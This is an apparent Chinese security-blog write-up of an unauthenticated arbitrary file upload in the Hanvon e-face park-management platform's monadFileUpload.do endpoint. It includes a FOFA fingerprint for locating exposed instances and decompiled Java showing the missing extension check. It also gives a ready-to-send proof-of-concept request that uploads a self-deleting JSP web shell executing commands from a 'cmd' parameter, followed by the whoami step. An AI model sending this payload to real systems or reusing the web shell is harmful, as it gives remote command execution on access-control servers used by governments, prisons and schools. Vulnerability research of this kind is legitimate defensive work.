汉王e脸通综合管理平台 monadFileUpload.do 任意文件上传漏洞


漏洞简介

汉王e脸通综合管理平台是汉王公司研发的一款基于生物识别技术的智慧园区管理软件,集成了考勤管理、门禁管理、访客管理、巡更管理、消费管理、车控管理、梯控管理、人事管理等多个模块,广泛应用于政府、企业、监狱、学校、智慧社区等多个领域,实现无接触式快速通行,提升管理效率和安全性。其管理平台的 monadFileUpload.do 接口存在任意文件上传漏洞。攻击者可在无需认证的情况下,通过向该接口上传恶意文件,实现任意文件上传,进而可能导致远程代码执行或服务器被控制,严重威胁系统安全。

影响版本

V1.6.x

fofa语法

icon_hash="1380907357"

漏洞分析

看下 LeaveListController 的关于 monadFileUpload.do 的实现

@ResponseBody
    @RequestMapping(
        value = {"/monadFileUpload.do"},
        method = {RequestMethod.POST}
    )
    public RequestJson monadFileUpload(@RequestParam MultipartFile file, @RequestParam(required = false,value = "type") Integer type, @RequestParam(required = false,value = "deviceType") String deviceType) {
        RequestJson result = new RequestJson();

        String imagePath;
        String name;
        try {
            CommonsMultipartFile cf = (CommonsMultipartFile)file;
            DiskFileItem fi = (DiskFileItem)cf.getFileItem();
            File f = fi.getStoreLocation();
            SimpleDateFormat fmt = new SimpleDateFormat("yyyy-MM-dd");
            String format = fmt.format(new Date());
            name = file.getOriginalFilename();
            imagePath = this.saveImageFile(f, name, format, type, deviceType);
        } catch (Exception e) {
            e.printStackTrace();
            return RequestJson.errorResult(result, e.getMessage());
        }

        return RequestJson.successResult(result, imagePath, name);
    }

    public String saveImageFile(File fileObj, String fileName, String dirName, Integer type, String deviceType) throws Exception {
        if (fileObj == null) {
            return null;
        } else if (!fileObj.isFile()) {
            throw new Exception(getMessage("personnel_user_upload_file_formal_error2"));
        } else {
            long length = fileObj.length();
            if (length <= 0L) {
                throw new Exception(getMessage("personnel_user_upload_file_formal_error3"));
            } else if (length > 10485760L) {
                throw new Exception("图片文件不能超过10MB!当前文件大小:" + length / 1048576L + "MB");
            } else {
                if (type != null) {
                    this.VerifyThePixel(fileObj, deviceType);
                }

                String postfix = fileName.substring(fileName.lastIndexOf("."));
                String photoDir = "resource" + File.separator + dirName;
                return Utils.saveFile(photoDir, postfix, fileObj);
            }
        }
    }

    public boolean VerifyThePixel(File file, String deviceType) throws Exception {
        BufferedImage bi = null;

        try {
            bi = ImageIO.read(file);
        } catch (IOException var6) {
            throw new Exception("获取图片像素异常");
        }

        int width = bi.getWidth();
        int height = bi.getHeight();
        if (!deviceType.equals("H0810") && !deviceType.equals("M0816") && !deviceType.equals("M0816S") && !deviceType.equals("M0816Z")) {
            if (!deviceType.equals("M0710S") && !deviceType.equals("M0710Z")) {
                if (!deviceType.equals("L0515S") && !deviceType.equals("L0515Z")) {
                    if ((deviceType.equals("L0510S") || deviceType.equals("L0510S")) && (width != 720 || height != 1280)) {
                        throw new Exception("白玉的轮播图需要的像素为1280*720");
                    }
                } else if (width != 1280 || height != 720) {
                    throw new Exception("翡翠的轮播图需要的像素为720*1280");
                }
            } else if (width != 600 || height != 1024) {
                throw new Exception("青玉的轮播图需要的像素为1024*600");
            }
        } else if (width != 800 || height != 1280) {
            throw new Exception("钻石琥珀的轮播图需要的像素为1280*800");
        }

        return true;
    }

上传原始文件名直接带入 saveImageFile 方法中后,通过小数点分割文件名获取后缀作为 postfix 再带入 saveFile 方法在保存,全程无过滤和校验,造成任意文件上传漏洞。

漏洞复现

POST /manage/leaveList/monadFileUpload.do?recoToken=67mds2pxXQb&type= HTTP/1.1
Host: hanvon.mrxn.net
Content-Type: multipart/form-data; boundary=----WebKitFormBoundaryFfJZ4PlAZBixjELj

------WebKitFormBoundaryFfJZ4PlAZBixjELj
Content-Disposition: form-data; name="file"; filename="1.jsp"
Content-Type: image/jpeg

<% java.io.InputStream in = Runtime.getRuntime().exec(request.getParameter("cmd")).getInputStream();int a = -1;byte[] b = new byte[2048];out.print("<pre>");while((a=in.read(b))!=-1){out.println(new String(b,0,a));}out.print("</pre>");new java.io.File(application.getRealPath(request.getServletPath())).delete();%>
------WebKitFormBoundaryFfJZ4PlAZBixjELj--

访问文件执行命令 /manage/resource/2025-xx-xx/xxxxx.jsp?cmd=whoami

成功得到 whoami 命令执行结果


手机扫码阅读

金和OA IsHaveFTask.aspx XXE漏洞+SQL注入漏洞

孚盟云CRM GetIcon.aspx SQL注入漏洞

评 论